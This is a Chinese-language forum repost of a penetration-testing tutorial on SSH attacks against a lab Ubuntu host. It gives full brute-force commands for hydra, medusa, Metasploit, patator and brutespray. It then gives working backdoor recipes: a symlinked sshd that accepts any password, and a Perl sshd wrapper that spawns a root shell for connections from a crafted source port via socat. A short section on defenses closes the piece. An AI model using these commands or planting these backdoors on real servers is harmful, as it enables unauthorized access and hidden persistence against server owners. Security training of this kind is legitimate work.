本帖最后由 gclome 于 2020-3-29 20:14 编辑
本文转自:Tide安全团队
SSH简介 Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。任何网络服务都可以通过SSH实现安全传输,SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。SSH使用频率最高的场合是类Unix系统,但是Windows操作系统也能有限度地使用SSH。Windows 10 1809版本已提供OpenSSH工具。
SSH暴力破解
SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解。一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。今天说的主要是通过指定用户名来爆破密码,当然还有通过指定密码,加载用户名来爆破SSH,这是比较少用的一种方式。 现在安装了一台靶机和攻击机作为演示使用,靶机使用的Ubuntu系统,IP地址是192.168.92.132,攻击机使用的Kali Linux 2020,IP地址192.168.92.128。众所周知Kali集成了很多的渗透测试工具,用起来比较方便。 爆破方式 首先使用kali自带的nmap扫描目标靶机 nmap -sV -p- 192.168.92.132
可以看到靶机开放了22端口,启用了SSH服务,假设我们已经知道存在test账户,接下来对其进行密码破解。
1、Hydra 第一个使用到的工具是hydra,中文名九头蛇(脑补电梯里美队在光头耳边:hail hydra)。它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。 使用方法:hydra -l test -P /home/test/桌面/TOP1000.txt -t 6 -vV 192.168.92.132 ssh -l 为要进行密码爆破的目标主机用户名 -P为指定字典的绝对路径 -t 为指定爆破线程
2、Medusa Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP, SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。跟hydra一样也可以用来爆破SSH,不同的是medusa 的稳定性相较于 hydra 要好很多。但是也有缺陷。它的支持模块要比 hydra 少很多,也不支持 rdp 服务协议。同时,它的表单破解也存在着问题。但是不论什么工具,我们都应取其精华,善于利用。 可以使用medusa -d来查看其所支持的模块 接下来使用它进行SSH密码爆破 medusa -M ssh -h 192.168.92.132 -u test -P /home/test/桌面/TOP1000.txt
-M: 表示要破解的类型 -h:目标靶机地址 -u:用户名 -P:字典地址
3、Metasploit Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,同时也可以用来破解SSH密码。 首先启动控制台 在kali中打开命令窗口,输入msfconsole回车
使用模板 use auxiliary/scanner/ssh/ssh_login
设置靶机地址 set rhosts 192.168.92.132 设置用户名 set username test 设置字典路径 set pass_file 设置爆破线程 set threads 5 查看设置完成后的效果 show options
运行后耐心等待就可以了 run
与hydra和medusa不同,Metasploit不会显示跑字典的过程,只显示最终爆破密码成功时的结果。
4、Patator Patator是一款全能暴力破解测试工具,采用模块化设计并具有灵活的可用性。值得一提的是在kali中没有自带的,需要手动下载安装。 git clone https://github.com/lanjelot/patator.git cd patator python setup.py install 使用./patator.py module –help查看帮助信息 可以看到patator的功能还是很强大的。 使用命令爆破SSH密码 ./patator.py ssh_login host=192.168.92.132 user=test password=FILE0 0=/home/test/桌面/TOP1000.txt 此外,patator还可以用来破解多用户密码。将用户名字典保存在txt文档中,使用 ./patator.py ssh_login host=192.168.92.132 user=FILE1 1=/home/test/桌面/user.txt password=FILE0 0=/home/test/桌面/TOP1000.txt
因为时间关系并没有跑完全部字典,这里只截了开头的部分。 5、BrutesPray BruteSpray是一款基于nmap扫描输出的gnmap/XML文件,自动调用Medusa对服务进行爆破,声称速度比hydra快。BruteSpray调用medusa,其说明中声称支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd协议账号暴力破解。 官方项目地址:https://github.com/x90skysn3k/brutespray BruteSpray默认没有集成到kali Linux中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:
Sudo apt-get install brutespray
安装完成后在/usr/bin/目录下,进入目录后右键选择-在此打开终端
命令窗口输入brutespray -h查看帮助文档
使用方法:首先对相应网段进行扫描,然后生成对应的XML格式扫描结果文件 nmap -v 192.168.92.0/24 -oX nmap.xml
然后在brutespray中可以使用交互模式破解 brutespray --file nmap.xml –i 这里为了节省时间,我选择了指定用户名和ssh服务进行爆破 brutespray -f /home/jhc/nmap.xml -u test --service ssh
brutepray基于nmap扫描结果来进行暴力破解,对于内网破解效果较好。 由上可以看出,几种工具都是通过加载字典进行暴力穷举,所以平时积累一些好用的字典是非常关键的。现在只介绍了如何在指定用户名的情况下去破解密码,也可以指定密码爆破用户名,跟爆破密码的用法大同小异,这里就不再描述了。另外这些工具的功能都十分强大,作用不仅局限于爆破SSH密码,有兴趣的可以对其他功能探索一下。
SSH后门
除了暴力破解密码之外,还有一种使用SSH后门登录目标系统,在这里简单介绍一下。 1. 软连接后门 ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223 经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。 但这隐蔽性很弱,一般的的防护脚本可扫描到。 2.SSH Server wrapper后门 (1)复制sshd到bin目录 cd /usr/sbin mv sshd ../bin (2)编辑sshd vi sshd //加入以下内容并保存 #!/usr/bin/perl exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV; (3)修改权限 chmod 755 sshd (4)使用socat socat STDIOTCP4:target_ip:22,sourceport=19526 如果没有安装socat需要进行安装并编译 wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz tar -zxvf socat-1.7.3.2.tar.gz cd socat-1.7.3.2 ./configure make make install (5)使用ssh root@ target_ip即可免密码登录 3.ssh公钥免密 将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。 chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh
SSH暴力破解防范
SSH暴力破解现在非常流行,如何保护服务器不受暴力破解攻击,大致有以下几个方法: 1、针对暴力穷举,可以使用SSH密钥,禁用口令认证。如果不能做到这一点,提升密码长度,扩展密码复杂度,务必使用复杂不易破解的密码,定期更换密码这些手段。 2、登陆IP白名单。 3、登录用户名白名单。 4、更改服务器ssh端口。 5、使用snort、ossec等开源的入侵检测设备保护服务器。
参考资料: 面对SSH暴力破解,给你支个招_运维_OpenInfra的博客-CSDN博客 https://blog.csdn.net/openinfra/article/details/88872989 SSH暴力破解_运维_hery186的专栏-CSDN博客 https://blog.csdn.net/lhq186/article/details/91382894 关于linux中SSH爆破总结 - 不靠谱的谱 - 博客园
https://www.cnblogs.com/NBeveryday/p/8286957.html
|